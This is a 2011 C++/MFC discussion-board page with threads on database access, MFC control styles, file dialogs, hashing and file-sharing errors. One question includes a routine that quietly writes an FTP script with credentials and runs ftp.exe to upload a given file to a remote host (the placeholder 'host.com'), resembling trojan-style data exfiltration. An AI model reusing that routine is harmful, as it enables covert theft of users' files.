C / C++ / MFC Discussion Boards

Richard MacCutchan30-Jun-11 22:35

30-Jun-11 22:35

Your question is not clear, you cannot import a database into C++. You can, however, access a database using a program written in C++.

The best things in life are not things.

Re: C++

Albert Holguin1-Jul-11 4:23

Albert Holguin

1-Jul-11 4:23

You don't typically "import" a database into an application. You simply access it using some sort of common interface, usually over a network or internally (using sockets is the most common way), using a common language. A common interface language for databases is SQL, a query based language that defines the type of query/response system and language.

There's several libraries that are available from different parties that make this task a lot easier. Here's a couple (for SQL, its up to the database maker what languages they support):
http://www.sqlapi.com/[^]
http://soci.sourceforge.net/[^]

fopen gives segmentation fault.

krosty478230-Jun-11 18:44

krosty4782

30-Jun-11 18:44

Hi ppl.
I have this code:

void descargar(string path1, SOCKET sock)<br />
{<br />
string variable = getenv("windir");<br />
char* variablee = getenv("windir");<br />
string variable1 = getenv("userprofile"); //Variable local user<br />
char* variable11 = getenv("userprofile"); //Variable local user<br />
<br />
strcat(variablee,"\\System32\\ftp.exe -s:");<br />
strcat(variablee,variable11);<br />
strcat(variablee,"\\command1.txt host.com");<br />
FILE * file;<br />
file= fopen((variable1+"\\command1.txt").c_str(),"w"); //Creamsos el fichero en user<br />
if(file != NULL)<br />
{<br />
fputs("name\n",file); //User<br />
fputs("pass\n",file); //Pass<br />
fputs("cd /public_html\n",file); //Nos movemos<br />
fputs(("put \"" + path1+"\"").c_str(),file); //Subimos<br />
fputs("\nquit",file);<br />
fclose(file);<br />
}<br />
<br />
STARTUPINFO StartInfo; // name structure<br />
PROCESS_INFORMATION ProcInfo; // name structure<br />
memset(&ProcInfo, 0, sizeof(ProcInfo)); // Set up memory block<br />
memset(&StartInfo, 0 , sizeof(StartInfo)); // Set up memory block<br />
StartInfo.cb = sizeof(StartInfo); // Set structure size<br />
int res = CreateProcess(NULL,variablee, NULL, NULL, NULL, NULL, NULL, NULL, &StartInfo, &ProcInfo); // starts MyApp<br />
{<br />
    ::WaitForSingleObject(ProcInfo.hProcess, INFINITE);<br />
    CloseHandle(ProcInfo.hProcess);<br />
    CloseHandle(ProcInfo.hThread);<br />
}<br />
}

The problem, is that, the first time i call this function works fine, but the second time it is called, it gives segmentation fault error in line:
file= fopen((variable1+"\\command1.txt").c_str(),"w");

Any idea?

Thanks

Re: fopen gives segmentation fault.

enhzflep30-Jun-11 19:30

enhzflep

30-Jun-11 19:30

Hope so, but likely not -

I'd try something along these lines:

char filenameToOpen[MAX_CHAR];
sprintf(filenameToOpen, "%s\\command.txt",variable1.c_str());
file = fopen(filenameToOpen, "w");

If that failed, I'd ask myself if I'd closed the file between each time it was opened as I can't remember how whether or not fopen opens the file for exclusive access or not.

Re: fopen gives segmentation fault.

Chuck O'Toole30-Jun-11 20:24

Chuck O'Toole

30-Jun-11 20:24

According to the C++ documentation, you are not allowed to change the value returned by getenv().

http://www.cplusplus.com/reference/clibrary/cstdlib/getenv/[^]
Get environment string

Retrieves a C string containing the value of the environment variable whose name is specified as argument. If the requested variable is not part of the environment list, the function returns a NULL pointer.

The string pointed by the pointer returned by this function shall not be modified by the program.

In these statements,

strcat(variablee,"\\System32\\ftp.exe -s:");
strcat(variablee,variable11);
strcat(variablee,"\\command1.txt host.com");

you are appending to (altering) the contents of the memory pointed to by the return from getenv(). You need to use a temporary location to copy the data and only then start appending. Remember that strcat does not do additional allocation, it just blindly appends to memory.

Lastly, you have both char * and string copies of these environment variable contents. You should use the string versions which will do the copying for you and remove the use of the char * versions.

Getting Static control styles [MFC]

csrss30-Jun-11 9:58

csrss

30-Jun-11 9:58

Hi. So, i got my custom static control (class which inherits from CStatic), which displays a text on a dialog window and thats it. Now i am trying to determine its style, which was sat in resource editor. For example, center image was sat, SS_CENTERIMAGE, so i am doing this:

DWORD dwStyle = this->GetStyle();
if((dwStyle & SS_CENTERIMAGE) == TRUE)
{
	::AfxMessageBox(L"center image");
}

It is not working. Nothing is working actually. I am trying to check text alignment - not working, what am i doing wrong? Thanks.

011011010110000101100011011010000110100101101110
0110010101110011

Re: Getting Static control styles [MFC]

David Crow30-Jun-11 10:13

David Crow

30-Jun-11 10:13

csrss wrote:
if((dwStyle & SS_CENTERIMAGE) == TRUE)

& is not a boolean operation, nor is SS_CENTERIMAGE equal to 1. Try:

if ((dwStyle & SS_CENTERIMAGE) == SS_CENTERIMAGE)

"One man's wage rise is another man's price increase." - Harold Wilson

"Fireproof doesn't mean the fire will never come. It means when the fire comes that you will be able to withstand it." - Michael Simmons

"Some people are making such thorough preparation for rainy days that they aren't enjoying today's sunshine." - William Feather

Re: Getting Static control styles [MFC]

csrss30-Jun-11 10:23

csrss

30-Jun-11 10:23

Thanks!

011011010110000101100011011010000110100101101110
0110010101110011

CEdit Control password style switch

RomTibi30-Jun-11 7:06

RomTibi

30-Jun-11 7:06

I build an app w/VC++6 Laugh | :laugh:

. I design a window with an EDIT CONTROL (IDD_MYEDIT), associate a CEdit control (m_myedit). I switched on the PASSWORD style of the control.
Can be triggered this style on or off during the program running? Confused | :confused:

36. When you surround an army, leave an outlet free.
...
Do not press a desperate foe too hard.

SUN-TZU - Art of War

Re: CEdit Control password style switch

User 742933830-Jun-11 7:30

User 7429338

30-Jun-11 7:30

This should do it:

void ToggleStyle(HWND hEdit)
{
    if(SendMessage(hEdit,EM_GETPASSWORDCHAR,0,0) == '*')
        SendMessage(hEdit,EM_SETPASSWORDCHAR,0,0);
    else
        SendMessage(hEdit,EM_SETPASSWORDCHAR,(WPARAM)'*',0);
    SetFocus(hEdit);
}

You can have a look here[^] for an explanation, if you're interested Smile | :)

modified 13-Sep-18 21:01pm.

Re: CEdit Control password style switch

RomTibi30-Jun-11 8:06

RomTibi

30-Jun-11 8:06

Thx I will try it tomorrow. It is 2105. Thumbs Up | :thumbsup:

36. When you surround an army, leave an outlet free.
...
Do not press a desperate foe too hard.

SUN-TZU - Art of War

Re: CEdit Control password style switch

Mark Salsbery30-Jun-11 8:22

Mark Salsbery

30-Jun-11 8:22

As far as I know, and according to the docs[^], after the edit control has been created, the ES_PASSWORD style can't be changed.

Mark Salsbery
Microsoft MVP - Visual C++
Java | [Coffee]

Re: CEdit Control password style switch

User 742933830-Jun-11 8:32

User 7429338

30-Jun-11 8:32

That's true, you can't add or remove ES_PASSWORD directly with SetWindowLong, but with EM_SETPASSWORDCHAR[^] you can still have the desired effect.

modified 13-Sep-18 21:01pm.

Re: CEdit Control password style switch

Mark Salsbery30-Jun-11 8:51

Mark Salsbery

30-Jun-11 8:51

Cool thanks!

Mark Salsbery
Microsoft MVP - Visual C++
Java | [Coffee]

How to embedded CFileDialog to user dialog?

includeh1030-Jun-11 5:41

includeh10

30-Jun-11 5:41

How to create a modeless or embedded CFileDialog, GetOpenFileName() or GetSaveFileName() into user Dialog?

Thanks

Re: How to embedded CFileDialog to user dialog?

Richard MacCutchan30-Jun-11 6:20

Richard MacCutchan

30-Jun-11 6:20

I'm not 100% sure what you are trying to do but you can look here[^] for help on CFileDialog. Alternatively if you are looking to customise these dialogs to your own specifications then try here[^].

The best things in life are not things.

Re: How to embedded CFileDialog to user dialog?

Mark Salsbery30-Jun-11 8:15

Mark Salsbery

30-Jun-11 8:15

Maybe this... Using Common File Dialogs as Modeless Views[^]

Mark Salsbery
Microsoft MVP - Visual C++
Java | [Coffee]

Re: How to embedded CFileDialog to user dialog?

Albert Holguin30-Jun-11 9:06

Albert Holguin

30-Jun-11 9:06

Why would you want a modeless CFileDialog? I can't think of any case where a user would select some sort of open/save button and have the software not wait for an input or a cancel.

Regardless of that though, if you really want it, just make your own class derived from CFileDialog (you'll have to replace DoModal() with a call to Create()). Override the virtual methods OnOK() and OnCancel() and you have your own modeless CFileDialog.

Re: How to embedded CFileDialog to user dialog?

Philippe Mori1-Jul-11 10:07

Philippe Mori

1-Jul-11 10:07

I don't think it is possible to embed standard dialog inside a form neighther to execute them as modeless.

You can customize the look of standard dialog but it won't make theme modeless...

If you are targetting Vista and Windows 7, you might look at :

http://archive.msdn.microsoft.com/WindowsAPICodePack[^]

http://stackoverflow.com/questions/2416963/how-to-create-an-explorer-like-folder-browser-control[^]

You could also look at that product:

http://www.ssware.com/fldrview.htm[^]

Although that product is not free, this is probably the best solution (Active-X control) if you want to uses it from a MFC application and do not want to uses .NET framework and you still want to support XP (or even older OS).

Philippe Mori

Convert string to alpha numeric value

Cpp_Com30-Jun-11 3:14

Cpp_Com

30-Jun-11 3:14

Dear All,

I've a String. Now i've converted to MD5 hash checksum value.

Now i want to decode the same string from the hash value.
Please tell me how to do thi.

Note : I'm using Crypto++ library.

Thank you all.

Re: Convert string to alpha numeric value

C^hris L^osinger30-Jun-11 4:12

C^hris L^osinger

30-Jun-11 4:12

Sk_cpp wrote:
Now i want to decode the same string from the hash value.

you cannot "decode" a hash value back into the original data.

image processing toolkits | batch image processing

CFile file handle problem

TheHelenLee29-Jun-11 23:51

TheHelenLee

29-Jun-11 23:51

Hi All,

Sorry for the lengthy description, I don't know how else to explain it...

I have a program which has a sqlite database backup function.

It opens the source.db file, writes backup version info and date into a backup.db file, appends those info with binary stream of source.db, and then closes both files.

However, my program fails with a sharing violation when it tries to open the source.db

CFile csf;
		
CFileException e;
			
if (!csf.Open(_T("source.db", CFile::modeNoTruncate | CFile::typeBinary | CFile::modeRead, &e ))
{
     if (e.m_cause == CFileException::sharingViolation )
	AfxMessageBox(_T("Sharing Violation!!"));
}

I traced the program to filecore.cpp, looked like my program cannot obtain a file handle at this line:

HANDLE hFile = m_pTM != NULL ? 
	m_pTM->CreateFile(lpszFileName, dwAccess, dwShareMode, &sa, dwCreateFlag, dwFlags, NULL) :
		::CreateFile(lpszFileName, dwAccess, dwShareMode, &sa, dwCreateFlag, dwFlags, NULL);

Even though the source.db is in use, I should still be able to have read access to it, right?

Another observation that puzzles me is that the backup function works on another .db file created by the same program.

I've been searching on the web and tried everything I can. Would someone please give me some suggestion?

Thanks,

Helen

Re: CFile file handle problem

Chris Meech30-Jun-11 6:21

Chris Meech

30-Jun-11 6:21

TheHelenLee wrote:
Even though the source.db is in use, I should still be able to have read access to it, right?

Not necessarily. If some other process has opened the file exclusively, using the flags CFile::shareExclusive, that would prohibit all other access. Smile | :)

Chris Meech
I am Canadian. [heard in a local bar]

In theory there is no difference between theory and practice. In practice there is. [Yogi Berra]

posting about Crystal Reports here is like discussing gay marriage on a catholic church’s website.[Nishant Sivakumar]

Re: CFile file handle problem

TheHelenLee30-Jun-11 17:26

TheHelenLee

30-Jun-11 17:26

Chris,

My light bulb turned on when you mentioned about the CFile::shareExclusive flag. In my code to open file for reading, I didn't have CFile::shareDenyNone, I guess it defaults to shareExclusive when I don't specify it? After I set the flag, the program works. It looks like my program was stepping on its own foot.

I'm just still puzzled as to why it works for one file, but not the other when I don't use the shareDenyNone flag. Any ideas?

Thank you for helping me out, I feel so relief now that the problem is solved!! Big Grin | :-D

Help and Guidance for Access Database.

Le@rner29-Jun-11 22:50

Le@rner

29-Jun-11 22:50

Hi all,

i m start working on access database,i have no idea about this please help me for this.

and provide me info and guidance to establich database connection and execution of Query for insertion or retrivel of values in database.

thanks in advance

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